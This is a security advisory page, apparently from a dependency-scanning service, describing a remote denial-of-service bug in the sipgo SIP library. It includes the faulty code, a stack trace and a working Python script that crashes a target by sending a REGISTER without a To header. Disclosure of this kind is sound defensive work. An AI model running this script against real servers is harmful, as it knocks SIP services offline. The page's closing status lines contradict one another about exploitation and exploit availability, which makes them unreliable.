Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-c623-f998-8hhv
No affected components available
Description
A nil pointer dereference vulnerability was discovered in the SIPGO library's NewResponseFromRequest function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.
The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.
Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the
NewResponseFromRequestfunction.
Technical details
The vulnerability is located in /sip/response.go at line 242 in the NewResponseFromRequest function:
if _, ok := res.To().Params["tag"]; !ok {
uuid, _ := uuid.NewRandom()
res.to.Params["tag"] = uuid.String()
}
Root Cause:
-
Missing To Header: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object.
-
Header Copying Logic: During response creation in
NewResponseFromRequest, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response. -
Unsafe Assumption: The response creation code assumes the To header exists and calls
res.To().Params["tag"]without checking ifres.To()returnsnil, causing a nil pointer dereference.
Stack Trace:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4]
goroutine 175 [running]:
github.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0})
/Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394
Impact
This vulnerability affects all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses.
Attack Impact:
- Availability: Complete denial of service - application crashes immediately
- Remote Exploitation: Yes
- Authentication Required: No - vulnerability triggers during initial response generation which does not require authentication
How to reproduce the issue
To reproduce this issue, you need:
- A SIP application using the vulnerable sipgo library
- Network access to send SIP messages to the target
Steps:
-
Save the following Python script as
sipgo-response-dos.py:#!/usr/bin/env python3 import socket import sys import time import random def create_malformed_register(target_ip, target_port): call_id = f"sipgo-dos-{int(time.time())}" tag = f"sipgo-dos-{random.randint(1000, 9999)}" branch = f"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}" # Craft malformed SIP request without To header sip_message = ( f"REGISTER sip:{target_ip}:{target_port} SIP/2.0\r\n" f"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\r\n" f"From: <sip:attacker@192.168.1.100>;tag={tag}\r\n" f"Call-ID: {call_id}\r\n" f"CSeq: 1 REGISTER\r\n" f"Contact: <sip:attacker@192.168.1.100:5060>\r\n" f"Content-Length: 0\r\n" f"\r\n" ) return sip_message if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 sipgo-response-dos.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_register(target_ip, target_port) print(f"Sending malformed REGISTER to {target_ip}:{target_port}") sock.sendto(payload.encode('utf-8'), (target_ip, target_port)) print("Exploit sent - target should crash immediately") -
Run the script against a vulnerable sipgo application:
python3 sipgo-response-dos.py <target_ip> <target_port> -
Observe that the target application crashes with a SIGSEGV panic.
Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard